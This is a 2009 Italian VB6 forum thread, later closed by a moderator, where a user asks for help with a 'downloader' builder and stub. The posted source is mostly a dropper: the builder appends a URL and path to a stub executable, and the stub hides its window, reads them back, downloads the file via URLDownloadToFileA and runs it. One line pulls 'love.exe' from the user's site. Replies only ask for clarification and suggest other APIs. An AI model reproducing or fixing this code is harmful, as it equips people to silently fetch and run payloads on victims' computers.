Oppure

Loading
Questo topic e' stato chiuso dal moderatore.
13/05/09 20:48
4sp1d3
Ciao a tutti mi sono scritto da pochissimo ho un problema con un downloader vi posto i sorgente

stub
Private Sub Form_Load()               
    
'Debug.Print ucDL1.Download(("http://www.MioUrl.org/love.exe"), ("C:\love.exe"))
 ' in questo modo funziona benissimo!!!! commentando ovviamente la parte sotto   


    Dim link As String
    Dim rotta As String
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As 1

      Get #1, LOF(1) - 399, link
       Get #1, , rotta
        Close #1
        
   Debug.Print ucDL1.Download((link), (rotta))
        
    End Sub


modulo_stub
'---------------------------------------------------------------------------------------
' Module      : ucDL
' DateTime    : 30/07/2008 16:10
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advancevb.com.ar
' Purpose     : Simple Downloader control
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' History     : 30/07/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Public Event DownloadComplete(ByVal bSuccess As Boolean)
Public Event Downloading()

Private c_bSinc     As Boolean
Private c_bSuccess  As Boolean

Public Function Download( _
       ByVal sUrl As String, _
       ByVal sFileName As String, _
       Optional bSincronic As Boolean = True) As Boolean
    
    Call UserControl.AsyncRead( _
       sUrl, _
       vbAsyncTypeByteArray, _
       sFileName, _
       vbAsyncReadForceUpdate)
    
    c_bSinc = bSincronic
    c_bSuccess = False
    Do While c_bSinc
        DoEvents
    Loop
    Download = c_bSuccess
    
End Function

Private Sub UserControl_AsyncReadComplete(AsyncProp As AsyncProperty)
    Dim iFile       As Long
    Dim bvData()    As Byte
    
    On Local Error GoTo UserControl_AsyncReadComplete_Error

    iFile = FreeFile
    With AsyncProp
        If Not .BytesRead = 0 Then
            Open .PropertyName For Binary Access Write As iFile
            bvData = .Value
            Put iFile, , bvData
            Close iFile
            c_bSuccess = True
            RaiseEvent DownloadComplete(True)
        Else
            GoTo UserControl_AsyncReadComplete_Error
        End If
    End With
    c_bSinc = False

    Exit Sub
UserControl_AsyncReadComplete_Error:
    c_bSinc = False
    Close iFile
    RaiseEvent DownloadComplete(False)
End Sub

Private Sub UserControl_AsyncReadProgress(AsyncProp As AsyncProperty)
    With AsyncProp
        Select Case .StatusCode
            Case vbAsyncStatusCodeDownloadingData: RaiseEvent Downloading
            Case vbAsyncStatusCodeError: c_bSinc = False
        End Select
    End With
End Sub

Private Sub UserControl_Resize()
    UserControl.Width = 180
    UserControl.Height = 375
End Sub

Private Sub UserControl_Show()
    Print "6"
End Sub


Builder
Private Sub Form_Load()
Dim link As String
Dim rotta As String

End Sub
Private Sub Command1_Click()

link = Text1.Text
rotta = Text2.Text
FileCopy App.Path & "\stub.exe", App.Path & "\downloader.exe"
If Text1.Text = "" Or Text2.Text = "" Then
MsgBox " Inserisci Path o Url"
End If

Open App.Path & "\downloader.exe" For Binary As 1
Put #1, LOF(1) + 1, link
Put #1, , rotta
Close #1

MsgBox "Downloder creato con successo", vbInformation, "Informazione"

End Sub


compila perfettamente ma non funziona mi dice che non trova il file, in sostanza vorrei dare in input delle stringhe URL e ROTTA memorizzarle nelle 2 variabili dello stub che poi a sua volta le invia nel file creato che dovrebbe poi scaricare da un mio sito un file
p.s. la form a bisogno di 2 text e un bottone

grazie in anticipo

4sp1d3
Ultima modifica effettuata da 4sp1d3 13/05/09 20:52
aaa
13/05/09 23:06
theprogrammer
Se ci spiegassi anche di cosa si tratta, sarebbe meglio ...

Cosa dovrebbero fare le varie parti di codice che hai mostrato?
aaa
14/05/09 13:31
4sp1d3
E' scritto in alto cmq....
è un downloader composto da una parte client in cui ci sono 2 text box in uno metto l'url l'altro la path dove dovrà essere salvato il file. la seconda parte è lo stub del downloader che memorizza le info e le invia nell'eseguibile buildato.... vi posto il source originale forse è meglio


client
Private Sub Form_Load()
Dim link As String * 200
Dim ruta As String * 200

End Sub
Private Sub Command1_Click()

link = Text1.Text
ruta = Text2.Text
FileCopy App.Path & "\stub.exe", App.Path & "\downloader.exe"
If Text1.Text = "" Or Text2.Text = "" Then
MsgBox " Inserisci Path o Url"
End If

Open App.Path & "\downloader.exe" For Binary As 1
Put #1, LOF(1) + 1, link
Put #1, , ruta
Close #1

MsgBox "Downloder creato con successo", vbInformation, "Informazione"

End Sub


server
Private Declare Function Descargar Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
Dim ruta As String * 200
Dim link As String * 200
Me.Visible = False
Open App.Path & "\" & App.EXEName & ".exe" For Binary As 1
Get #1, LOF(1) - 399, link
Get #1, , ruta
Close #1

Descargar 0, Trim(link), Trim(ruta), 0, 0
Shell Chr(34) & Trim(ruta) & Chr(34), vbNormalFocus
End

End Sub


grazie
aaa
14/05/09 15:49
theprogrammer
E' scritto in alto cmq....


Ho letto quello che hai scritto in alto e non ti avrei detto di spiegare meglio se ci avessi capito qualcosa ... non pensi quindi che ripetere che "è scritto in alto" serva a poco?

Tra Builder, Client, Server e Stub, infatti, c'e' parecchia confusione ...

Tralasciando la denominazione di ogni parte (un client e un server, in genere, comunicano, cosa che non fanno i due programmi in questione, quindi, non sono client e server ...). Soprattutto quello che chiami "server" tutto e' meno che un server.

Passando al problema, non si capisce cosa c'entri il modulo chiamato "ucDL" (che sembra uno UserControl) mai utilizzato nel resto del codice (che usa una API per scaricare il file dalla URL indicata.

A proposito ... il problema ... MA QUAL e' il problema ? Anche questo non si e' capito ...
aaa
14/05/09 20:18
GrG
devi scaricare un file? Se si basta una semplice API oppure puoi usare inet..
aaa
16/05/09 13:45
4sp1d3
scusate ho fatto un po di casino fondendo più progetti... a parte che non sono affato pratico con vb mi ci sono avvicinato da poco....:heehee: cerco di rispiegarmi in maniera corretta... tenendo presente il secondo codice postato è un downloader costituito da una parte client e dallo stub, nell parte clinet imposto l'url (es. miosito/…) e la path dove verrà salvato il file (es. c:\) non riesco a farli funzionare c'è sicuramente qualche errore che non permette la perfetta esecuzione

p.s la fa se non erro la chiamata alle API non dovrebbe essere
dichiarazione:
Private Declare Function Descargar Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long


chiamata:
Descargar 0, Trim(link), Trim(ruta), 0, 0


grazie per le risposte

Ultima modifica effettuata da 4sp1d3 16/05/09 13:46
aaa
16/05/09 14:54
GrG
ancora non ho capito cos'è lo stub... e dove sta il server?

comunque l'api che conosco io è questa:
Private Declare Function DoFileDownload Lib "shdocvw.dll" (ByVal lpszFile As String) As Long
aaa
16/05/09 16:34
4sp1d3
Postato originariamente da GrG:

ancora non ho capito cos'è lo stub... e dove sta il server?

comunque l'api che conosco io è questa:
Private Declare Function DoFileDownload Lib "shdocvw.dll" (ByVal lpszFile As String) As Long



lo stub è una risorsa necessaria per copiare le scelte fatte per capirci meglio ti invio il sorgente di un downloader di esempio

in questo esempio l'autore utilizza data_array sembra funzionare...

in sostanza sto cercando di imparare guardando vari esempi a passare istruzioni dal client allo stub come nell'esempio
Ultima modifica effettuata da 4sp1d3 16/05/09 16:35
aaa